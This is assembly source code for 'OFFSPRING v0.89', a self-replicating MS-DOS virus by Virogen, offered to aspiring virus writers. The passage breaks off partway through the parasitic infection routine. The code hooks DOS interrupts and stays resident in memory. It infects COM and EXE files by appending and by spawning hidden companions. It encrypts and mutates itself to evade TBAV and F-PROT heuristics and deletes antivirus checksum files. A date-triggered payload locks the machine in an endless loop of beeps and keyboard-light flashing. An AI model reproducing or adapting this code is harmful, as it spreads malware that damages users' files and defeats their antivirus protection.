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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.offspr89.asm

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2021-01-12 23:52:14 +00:00
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; ************************************************
; OFFSPRING v0.89 - BY VIROGEN - 10-03-93
; ************************************************
; - Compatible with : TASM /m2
;
;
; .. Welcome to another virogen viral creation! I'm supplying this source
; code so hopefully beginners in the art of virus writing can learn something
; from it. Please don't hack up this code and put your name on it.. thank
; ya, thank ya very much! Oh yea, one more thing.. say whoever gave Mcafee
; a real OLD version of this virus, just keep giving him that same one eh?
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : 0.89
; - No longer detectable by TBAV heuristics.
; - No longer detectable by FPROT heuristics.
; - Infects on dir and drive change when no program running.
; deletes ANTI-VIR.DAT and CHKLST.* files at the same time.
; - finally went through and somewhat cleaned up the messy code
; at least a little bit.
; - mutation is improved
;
;
title offspring_1
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
max_inf equ 05 ; Maximum files to infect per run
max_rotation equ 9 ; number of bytes in switch byte table
parastic equ 01 ; Parastic infection
spawn equ 00 ; Spawning infection
org 100h ; Leave room for PSP
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Start of viral code
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
start:
new_code db 0B8h ; MOV NN,xxxx
dw main ; main
push_reg db 50h ; PUSH NN
db 0C3h ; RET - jump to NN
db 0E9h ; id byte - not code
trick_jmp db 0E9h ; fake jump - f00l tbav
dw 5999 ; random number 0-5999
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Encryption/Decryption
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
_enc:
di_op db 0bfh ; MOV DI|SI,XXXX
mov_di dw offset enc_data ; Point to byte after encryption num
encrypt:
cx_m db 90h,0b9h ; MOV CX
b_wr dw (offset vend-offset enc_data)/2
xor_loop:
xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly
fill_space: inc ax ; This is filled with INC XX's
inc ax ; kill F-PROT heuristic detection
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
inc ax ;
sw_byte3: ; INC SI|DI changes position in these bytes
inc di ; INC SI|DI
inc ax ; INC xx
inc ax ; INC xx
sw_byte4:
inc di ; INC SI|DI
inc ax ; INC xx
inc ax ; INX xx
loop xor_loop ; loop while cx != 0
ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP
enc_data: ; Start of encrypted data
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Non-Resident portion of virus
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
main proc
db 0bdh ; MOV BP,xxxx - Load delta offset
set_bp: dw 0000
mov ax,ds: 002ch ; Get environment address
mov par_blk[bp],ax ; Save in parameter block for exec
mov par1[bp],cs ; Save segments for spawn
mov par2[bp],cs
mov par_seg[bp],cs
mov ah,2ah ; Get date
int 21h
cmp dl,9 ; 9th?
jne no_display
show_myself:
mov ah,09 ; display virus name
lea dx,v_id[bp]
int 21h
xor ax,ax ; seg 0
mov es,ax
mov dx,1010101010101010b ; lights
chg_lights: ; Infinite loop to change keyboard
mov word ptr es: [416h],dx ; 0040:0016h = keyb flags
ror dx,1 ; rotate bits
mov cx,0101h ; scan code/ascii
mov ah,05h ; push a beep onto keyb buf
int 16h
mov ah,10h ; Read key back so we don't fill
int 16h ; up the keyboard buffer
int 5h ; Print-Screen
mov ax,0a07h ; Write BEEP to screen
xor bh,bh
mov cx,1
int 10h
mov ah,86h ; Delay
mov cx,0002h
int 15h
jmp chg_lights
no_display:
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; INSTALL - Install the virus in memory
mov ah,signal ; is virus already in mem?
int 21h
cmp ah,reply ;
jne cont_i ; nope.. continue
jmp no_install ; yes.. don't install again
cont_i:
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds: [0],'Z' ;Is this the last MCB in
;the chain?
je cont_i2
jmp no_install
cont_i2:
mov ax,ds: [3] ;Block size in MCB
sub ax,230 ;Shrink Block Size-quick estimate
mov ds: [3],ax
mov bx,ax
mov ax,es
add ax,bx
mov es,ax ;Find high memory seg
mov si,bp
add si,0100h
mov cx,(offset vend - offset start)
mov ax,ds
inc ax
mov ds,ax
mov di,100h ; New location in high memory
cld
rep movsb ; Copy virus to high memory
push es
pop ds
xor ax,ax
mov es,ax ; null es
mov ax,es: [21h*4+2] ; store old int addresses
mov bx,es: [21h*4]
mov ds: old21_seg,ax
mov ds: old21_ofs,bx
mov ax, es: [20h*4+2]
mov bx, es:[20h*4]
mov ds: old_20_seg,ax
mov ds: old_20_ofs,bx
mov ax, es:[27h*4+2]
mov bx, es:[27h*4]
mov ds: old_27_seg,ax
mov ds: old_27_ofs,bx
cli ; disable interrrupts
mov es: [21h*4+2],ds ; Set new addresses
lea ax, new21
mov es: [21h*4],ax
mov es: [20h*4+2],ds
lea ax, new20
mov es: [20h*4],ax
mov es: [27h*4+2],ds
lea ax, new27
mov es: [27h*4],ax
sti ; re-enable interrupts
no_install:
push cs ; Restore segment regs
pop ds
push cs
pop es
cmp byte ptr vtype[bp],parastic ; parastic infection?
je com_return ; yes, return to start of COM
mov bx,(offset vend+50) ; Calculate memory needed
mov cl,4 ; divide by 16
shr bx,cl
inc bx
mov ah,4ah
int 21h ; Release un-needed memory
lea dx,file_dir-1[bp] ; Execute the original EXE
lea bx,par_blk[bp]
mov ch,0FBh ; tell mem. resident virus
mov ax,4b00h ; that it's us.
int 21h
mov ah,4ch ; Exit
int 21h
com_return:
inc dir_infect
mov si,bp ;
mov cx,7 ; Restore original first
add si,offset org_bytes ; seven bytes of COM file
mov di,0100h ;
cld ;
rep movsb ;
mov ax,0100h ; Jump back to 100h - start of
push ax ; original program
ret ;
main endp
;************************************************************************
; Interrupt handlers
;************************************************************************
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; INT 27h - terminate stay resident
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
new27 proc
dec byte ptr cs:[dir_infect] ; decrement running counter
db 0EAh ; Jump to original offset, seg
old_27_ofs dw 0
old_27_seg dw 0
new27 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; INT 20h - terminate process
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
new20 proc
dec byte ptr cs:[dir_infect] ; decrement running counter
db 0EAh ; Jump to original offset, seg
old_20_ofs dw 0
old_20_seg dw 0
new20 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; INT 24h - Critical Error Handler
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
eh proc
mov al,3 ; fail call
iret ; interrupt return
eh endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; INT 21h - DOS function calls
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
new21 proc ; New INT 21H handler
cmp ah, signal ; signaling us?
jne no
mov ah,reply ; yep, give our offspring what he wants
jmp end_21
no:
cmp ax,4b00h ; exec func?
jne check_other
inc byte ptr cs:[dir_infect]
jmp exec_func
check_other:
cmp ah,3Bh ; change directory?
je kill_func ; yes, kill CHKLIST.* files
cmp ah,0Eh ; change drive?
je kill_func ; yes, kill CHKLIST.* files
cmp ah,4ch ; terminate process?
je dec_counter ; yes, decrement running counter
cmp ah,31h ; tsr?
je dec_counter ; yes, decrement running counter
cmp ah,00h ; terminate process?
je dec_counter ; yes, decrement running counter
jmp end_21 ; return to original INT 21h
kill_func:
mov byte ptr cs:[kill_now],1 ; remember it's time to kill CRC
exec_func:
cmp ch,0FBh ; Is our virus executing this prog?
je end_21 ; yes, return to orginal INT 21h
run_res:
pushf ; Push flags
push ax ; Push regs
push bx
push cx
push dx
push di
push si
push bp
push ds
push es
push sp
push ss
push cs ; ds=cs
pop ds
xor ax,ax ; nullify ES
mov es,ax
cmp byte ptr add_mem,1 ; Restore system conventional mem size?
je rel_mem ; yes, back to 640k
cmp ah,48h ; alloc. mem block? If so we subtract 4k from
je set_mem ; total system memory.
jmp no_mem_func ; don't f00l with memory now
set_mem:
sub word ptr es: [413h],4 ; Subtract 4k from total sys mem
inc byte ptr add_mem ; make sure we know to add this back
jmp no_mem_func
rel_mem:
add word ptr es: [413h],4 ; Add 4k to total sys mem
dec byte ptr add_mem
no_mem_func:
mov ah,2fh ; Get DTA Address
int 21h ;
mov ax,es ; Save it so we can restore it
mov word ptr old_dta,bx
mov word ptr old_dta+2,ax
push cs ; es=cs
pop es
call resident ; Call infection kernal
mov dx,word ptr old_dta ; restore DTA
mov ax,word ptr old_dta+2 ;
mov ds,ax ;
mov ah,1ah ;
int 21h ;
pop ss ; Pop regs
pop sp
pop es
pop ds
pop bp
pop si
pop di
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
end_21 :
db 0eah ; jump to original int 21h
old21_ofs dw 0 ; Offset of old INT 21H
old21_seg dw 0 ; Seg of old INT 21h
dec_counter:
dec byte ptr cs:[dir_infect] ; decrement running counter
jmp end_21
new21 endp ; End of handler
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Clear ff/fn buf
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
clear_buf proc
mov word ptr fcb,0 ; Clear ff/fn buffer
lea si, fcb
lea di, fcb+2
mov cx, 22
cld
rep movsw
ret
clear_buf endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Resident - This is called from out INT 21h handler
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
resident proc
xor ax,ax ; es=segment 0
mov es,ax ; ..
mov ax,es:[24h*4+2] ; get segment of INT 24h
mov bx,es:[24h*4] ; get offset of INT 24h
mov old_eh_seg,ax ; save segment
mov old_eh_off,bx ; save offset
cli ; turn off interrupts
mov es:[24h*4+2],ds ; set segment to our handler
lea ax,eh ;
mov es:[24h*4],ax ; set offset to our handler
sti
push ds ; es=ds
pop es
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
mov ah, 1ah
lea dx, fcb
int 21h
mov byte ptr vtype,spawn ; infection type = spawning
mov word ptr set_bp,0000 ; BP=0000 on load
mov byte ptr inf_count,0 ; null infection count
mov fname_off, offset fname1 ; Set search for *.EXE
mov word ptr mov_di,offset enc_data ; offset past encrypt.
cmp byte ptr kill_now, 1 ; change dir, or change drive func?
jne no_kill ; nope.. forget this shit
cmp dir_infect,0 ; are we running a program right now?
je cont_res ; nope.. keep going
jmp fd2 ; yes.. don't infect this time
cont_res:
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
mov chk_spec_addr, offset chk_spec ; kill CHKLIST.* first
xor cx,cx ; keep track of which we've killed
kill_another_spec:
push cx
call clear_buf ; clear FCB
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, chk_spec_addr
int 21h
jc done_kill ; none found.. done
kill_loop:
mov ax,4301h ; Set file attributes to null
xor cx,cx ;
lea dx,f_name ;
int 21h ;
mov ah,3ch ; create file = nullify size
xor cx,cx ;
lea dx,f_name ;
int 21h ;
push ax ; get handle
pop bx ;
mov ah,3eh ; close file
int 21h ;
mov ah,41h ; delete the file to finish 'er off
lea dx,f_name ;
int 21h ;
mov ah,4fh ; find next file
int 21h ;
jnc kill_loop ; if more then kill 'em
done_kill:
pop cx ; restore spec counter
inc cx ; increment spec counter
mov chk_spec_addr,offset chk_spec2 ; new file spec to kill
cmp cx,2 ; have we already killed both?
jne kill_another_spec ; nope.. kell 'em
no_kill:
mov kill_now,0 ; we killed them this time
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
find_first:
call clear_buf ; clear FCB again
mov ah, 4eh ; Findfirst
xor cx, cx ; Set normal file attribute search
mov dx, fname_off
int 21h
jnc next_loop ; if still finding files then loop
jmp end_prog ; if not.. then end this infection
next_loop :
cmp byte ptr vtype, parastic ; parastic infection?
je start_inf ; yes, skip all this
mov ah,47h ; get directory for
xor dl,dl ; ..spawning infections
lea si,file_dir ;
int 21h ;
cmp word ptr f_sizel,0 ; Make sure file isn't 64k+
je ok_find ; for spawning infections
jmp find_file
ok_find:
xor bx,bx ;
lm3 : ; find end of directory name
inc bx ;
cmp file_dir[bx],0
jne lm3
mov file_dir[bx],'\' ; append backslash to path
inc bx
mov cx,13 ; append filename to path
lea si,f_name
lea di,file_dir[bx]
cld
rep movsb
xor bx,bx
loop_me: ; search for filename ext.
inc bx
cmp byte ptr fcb+1eh [bx], '.'
jne loop_me
inc bx ; change it to COM
mov word ptr fcb+1eh [bx],'OC'
mov byte ptr fcb+1eh [bx+2],'M'
start_inf:
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Change jump & fill space register
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
cmp byte ptr new_code, 0BFh
jne inc_jmp
mov byte ptr new_code, 0B7h
mov byte ptr push_reg, 04Fh
mov nop_sub, 3Fh
inc_jmp:
inc byte ptr new_code ; incrment register
inc byte ptr push_reg ; increment register
mov dh,nop_sub ; get old register to inc/dec
mov old_nop_sub,dh ; save it.. to be used later
inc nop_sub ; increment register
jmp ok_jmp_changed
ok_jmp_changed:
cmp byte ptr vtype, parastic ; parastic infection?
je parastic_inf ; yes.. so jump
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Spawning infection
mov word ptr new_code+1,offset _enc
lea dx,f_name
mov cx, 02h ; read-only
or cx, 01h ; hidden
mov ah, 3ch ; Create file
int 21h ; Call INT 21H
jnc contin ; If Error-probably already infected
jmp no_infect
contin:
inc inf_count
mov bx,ax
jmp encrypt_ops
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
; Parastic infection
parastic_inf :
lea si,f_name ; Is Command.COM?
lea di,com_name
mov cx,11
cld
repe cmpsb
jne cont_inf0 ; Yes, don't infect
jmp no_infect
cont_inf0:
mov ax,3d02h ; Open file for reading & writing
lea dx,f_name ; Filename in FF/FN buffer
int 21h
jnc cont_inf1 ; error, skip infection
jmp no_infect
cont_inf1:
mov bx,ax ; get handle
mov ah,3fh ; Read first bytes of file
mov cx,07
lea dx,org_bytes
int 21h
cmp byte ptr org_bytes+6,0E9h ; already infected?
jne cont_inf ; nope let's infect this sucker
mov ah,3eh
int 21h
jmp no_infect
cont_inf:
inc inf_count
mov ax,4202h ; Set pointer to end of file, so we
xor cx,cx ; can find the file size
xor dx,dx
int 21h
mov word ptr set_bp,ax ; Change the MOV BP inst.
add ax, offset enc_data
mov word ptr mov_di,ax ; chg mov di,xxxx
mov ax,4200h ; set file pointer to beginning
xor cx,cx
xor dx,dx
int 21h
mov ax,word ptr f_sizeh ; save new address for parastic
add ax,offset _enc ;
mov word ptr new_code+1,ax ;
mov ah,40h ; write new first 7 bytes
mov cx,7 ; .. jumps to virus code
